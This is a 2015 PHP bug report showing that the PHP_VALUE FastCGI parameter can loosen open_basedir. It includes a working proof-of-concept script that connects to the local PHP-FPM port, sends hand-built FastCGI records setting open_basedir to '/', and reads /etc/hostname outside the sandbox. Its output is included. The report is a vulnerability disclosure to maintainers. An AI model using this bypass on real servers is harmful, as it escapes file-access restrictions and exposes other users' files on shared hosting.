[2015-07-24 20:41 UTC] butesa at freenet dot de

Description:
------------
Please change the implementation of PHP_VALUE so that open_basedir can only be tightened, but not loosened (as it is already implemented with ini_set()).

At the moment, you can bypass open_basedir by connecting to the FPM port.

Test script:
---------------
<?php
echo 'START ';
echo ini_get('open_basedir');
echo file_get_contents('/etc/hostname');
echo ' END';
echo '<br/>';

if (isset($_GET['stop'])) exit;

$params = array();
$params['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
$params['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
$params['REQUEST_METHOD'] = 'GET';
$params['QUERY_STRING'] = 'stop=true';
$params['PHP_VALUE'] = 'open_basedir=/';

$params_encoded = '';
foreach ($params as $k=>$v) {
	$params_encoded.= chr(strlen($k)).chr(strlen($v)).$k.$v;
}

$len = strlen($params_encoded);
$len_encoded = chr($len >> 8).chr($len & 255);

$fp = fsockopen('127.0.0.1',9000);
fwrite($fp, "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00");
fwrite($fp, "\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);
fwrite($fp, "\x01\x04\x00\x01\x00\x00\x00\x00");
fwrite($fp, "\x01\x05\x00\x01\x00\x00\x00\x00");
sleep(2);
$result = '';
while (!feof($fp)) {
  $result .= fread($fp, 1024);
}
fclose($fp);

$matches = array();
preg_match('/START.*END/s', $result, $matches);
echo $matches[0];

Expected result:
----------------
[shortened for better readability]

START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.
END
START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.
END

Actual result:
--------------
START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.
END
START / my_hostname END


Don't be surprised, you may also encounter bug 63965. In that case, the output will look like this:

START / my_hostname END
START / my_hostname END